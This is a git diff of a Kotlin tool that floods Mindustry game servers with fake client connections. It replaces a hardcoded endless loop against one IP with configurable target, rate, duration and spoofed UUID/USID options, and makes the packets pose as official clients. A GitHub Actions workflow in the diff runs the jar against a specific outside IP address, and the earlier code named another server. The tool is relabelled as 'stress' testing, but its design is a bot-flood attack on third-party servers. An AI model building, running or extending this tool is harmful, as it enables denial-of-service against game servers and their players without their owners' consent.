diff --git a/.github/workflows/matrix.yml b/.github/workflows/matrix.yml index dfa3df4..acb9b69 100644 --- a/.github/workflows/matrix.yml +++ b/.github/workflows/matrix.yml @@ -18,6 +18,6 @@ jobs: - name: Настройка доступа к gradlew run: chmod +x ./gradlew - name: Сборка плагина в jar - run: ./gradlew jar + run: ./gradlew clean jar - name: Запуск Jar файла - run: java -jar build/libs/uwu.jar + run: java -jar build/libs/uwu.jar --target 109.94.209.233:6570 --rps 5 diff --git a/build.gradle.kts b/build.gradle.kts index 9d00e27..78fb0d1 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -1,38 +1,55 @@ import org.jetbrains.kotlin.gradle.tasks.KotlinCompile +import org.gradle.jvm.tasks.Jar plugins { kotlin("jvm") version "1.7.10" application } +group = "io.lucin" +version = "1.0" + application { mainClass.set("io.lucin.MainKt") } -group = "io.lucin" -version = "1.0" - repositories { mavenCentral() - maven(url = "https://jitpack.io") + // Only use Zelaux’s repo (no JitPack, avoids commit hashes) + maven { + url = uri("https://raw.githubusercontent.com/Zelaux/MindustryRepo/master/repository") + } } dependencies { val mindustryVersion = "v146" - implementation("com.github.Anuken.Arc:arcnet:$mindustryVersion") - implementation("com.github.Anuken.Arc:arc-core:$mindustryVersion") + + // Mindustry Core implementation("com.github.Anuken.Mindustry:core:$mindustryVersion") - testImplementation(kotlin("test")) + // Arc + required submodules + implementation("com.github.Anuken.Arc:arc-core:$mindustryVersion") + implementation("com.github.Anuken.Arc:flabel:$mindustryVersion") + implementation("com.github.Anuken.Arc:freetype:$mindustryVersion") + implementation("com.github.Anuken.Arc:g3d:$mindustryVersion") + implementation("com.github.Anuken.Arc:fx:$mindustryVersion") + implementation("com.github.Anuken.Arc:arcnet:$mindustryVersion") } -tasks.jar { +tasks.named("jar") { manifest { - attributes["Main-Class"] = application.mainClass + attributes["Main-Class"] = application.mainClass.get() } archiveFileName.set("uwu.jar") - from(configurations.runtimeClasspath.get().map { if (it.isDirectory) it else zipTree(it) }) + + // Fat jar with dependencies + from({ + configurations.runtimeClasspath.get() + .filter { it.name.endsWith("jar") } + .map { zipTree(it) } + }) + duplicatesStrategy = DuplicatesStrategy.INCLUDE } diff --git a/src/main/kotlin/io/lucin/Main.kt b/src/main/kotlin/io/lucin/Main.kt index 1ca0f2c..cd03cf8 100644 --- a/src/main/kotlin/io/lucin/Main.kt +++ b/src/main/kotlin/io/lucin/Main.kt @@ -1,42 +1,96 @@ package io.lucin -import arc.math.Rand import arc.struct.Seq -import arc.util.Http import arc.util.Log import arc.util.serialization.Base64Coder -import arc.util.serialization.Jval import io.lucin.core.Entity import mindustry.Vars import mindustry.core.* import mindustry.gen.Groups import mindustry.net.Packets.ConnectPacket +import java.time.Duration import java.util.Timer import java.util.TimerTask - -var targets = listOf( - "5.228.122.149:6567" -) +import java.util.concurrent.Executors +import java.util.concurrent.ScheduledExecutorService +import java.util.concurrent.TimeUnit +import java.security.SecureRandom +import java.util.Base64 var counter = 0 -fun main() { +fun main(args: Array) { init() - val timer = Timer() - timer.scheduleAtFixedRate(object : TimerTask() { - override fun run() { - System.gc() - } - }, 0, 1000) + val config = parseArgs(args) + + if (config == null) { + printHelp() + return + } + + if (config.solo) { + runSolo(config) + return + } - targets.forEach { target -> - Log.info(target) + runStress(config) +} + +private data class Config( + val target: String, + val rps: Int, + val duration: Duration, + val solo: Boolean, + val uuidOverride: String?, + val usidOverride: String? +) - val thread = Thread { task(target) } - thread.priority = Thread.MAX_PRIORITY; - thread.start() +private fun parseArgs(args: Array): Config? { + var target: String? = null + var rps = 1 + var durationSeconds: Long = 10 + var solo = false + var uuidOverride: String? = null + var usidOverride: String? = null + + var i = 0 + while (i < args.size) { + when (args[i]) { + "--target" -> { + if (i + 1 < args.size) target = args[i + 1] + i += 1 + } + "--rps" -> { + if (i + 1 < args.size) rps = args[i + 1].toIntOrNull() ?: return null + i += 1 + } + "--duration" -> { + if (i + 1 < args.size) durationSeconds = args[i + 1].toLongOrNull() ?: return null + i += 1 + } + "--solo" -> solo = true + "--uuid" -> { + if (i + 1 < args.size) uuidOverride = args[i + 1] + i += 1 + } + "--usid" -> { + if (i + 1 < args.size) usidOverride = args[i + 1] + i += 1 + } + } + i += 1 } + + if (target == null) return null + if (rps <= 0) return null + if (durationSeconds <= 0) return null + + return Config(target!!, rps, Duration.ofSeconds(durationSeconds), solo, uuidOverride, usidOverride) +} + +private fun printHelp() { + Log.info("Usage: --target [--rps ] [--duration ] [--solo] [--uuid ] [--usid ]") } private fun init() { @@ -48,49 +102,102 @@ private fun init() { Vars.state = GameState() - Version.build = 141 + Version.build = 146 } -private fun packet(): ConnectPacket { +private fun packet(config: Config): ConnectPacket { val packet = ConnectPacket() - packet.version = -1 - packet.versionType = "hentai" + packet.version = Version.build + packet.versionType = "official" - packet.name = "nekonya-" + counter++ - packet.color = 255 - packet.locale = "nya" + packet.name = "client-" + counter++ + packet.color = 228 + packet.locale = "en" packet.mods = Seq() - packet.mobile = true + packet.mobile = false + + packet.uuid = config.uuidOverride ?: uuid() + packet.usid = config.usidOverride ?: usid() - packet.uuid = uuid() - packet.usid = usid() + Log.info("uuid=${packet.uuid} usid=${packet.usid}") return packet } -private fun task(address: String) { - val fullAddress = address.split(':') - val ip = fullAddress[0] - val port = fullAddress[1].toInt() +private fun runSolo(config: Config) { + val parts = config.target.split(':') + val ip = parts[0] + val port = parts[1].toInt() - while (true) { - Entity.EntityBuilder(false, packet(), ip, port, port) - Thread.sleep(1) + Log.info("Solo: connecting single client to ${config.target}") + val entity = Entity.EntityBuilder(false, packet(config), ip, port, port) + + val timer = Timer() + timer.schedule(object : TimerTask() { + override fun run() { + entity.stop() + Log.info("Solo: client stopped") + } + }, 3000) + + Thread.sleep(4000) +} + +private fun runStress(config: Config) { + val parts = config.target.split(':') + val ip = parts[0] + val port = parts[1].toInt() + + val scheduler: ScheduledExecutorService = Executors.newScheduledThreadPool(1) + val periodNanos = 1_000_000_000L / config.rps + + Log.info("Stress: target=${config.target} rps=${config.rps} duration=${config.duration.seconds}s") + + val start = System.nanoTime() + val task = Runnable { + val elapsed = System.nanoTime() - start + if (elapsed >= config.duration.toNanos()) { + return@Runnable + } + try { + Entity.EntityBuilder(false, packet(config), ip, port, port) + } catch (_: Exception) { + } } - while (true) {} + scheduler.scheduleAtFixedRate(task, 0, periodNanos, TimeUnit.NANOSECONDS) + + Thread.sleep(config.duration.toMillis()) + scheduler.shutdownNow() + Log.info("Stress: completed") } +private val secureRng: SecureRandom = SecureRandom() + private fun uuid(): String { val bytes = ByteArray(8) - Rand().nextBytes(bytes) - return String(Base64Coder.encode(bytes)) + fillUnique(bytes) + return Base64.getEncoder().encodeToString(bytes) } private fun usid(): String { - val result = ByteArray(8) - Rand().nextBytes(result) - return String(Base64Coder.encode(result)) + val bytes = ByteArray(16) + fillUnique(bytes) + return Base64.getEncoder().encodeToString(bytes) +} + +private fun fillUnique(bytes: ByteArray) { + do { + secureRng.nextBytes(bytes) + val c = counter + bytes[0] = (bytes[0].toInt() xor (c and 0xFF)).toByte() + bytes[1] = (bytes[1].toInt() xor ((c ushr 8) and 0xFF)).toByte() + } while (allZero(bytes)) +} + +private fun allZero(bytes: ByteArray): Boolean { + for (b in bytes) if (b.toInt() != 0) return false + return true } diff --git a/src/main/kotlin/io/lucin/core/Entity.kt b/src/main/kotlin/io/lucin/core/Entity.kt index efe7643..366b0f2 100644 --- a/src/main/kotlin/io/lucin/core/Entity.kt +++ b/src/main/kotlin/io/lucin/core/Entity.kt @@ -41,6 +41,14 @@ object Entity { err(e) } } + + fun stop() { + try { + client.stop() + } catch (e: Exception) { + err(e) + } + } } private class EntityListener(val entityBuilder: EntityBuilder) : NetListener {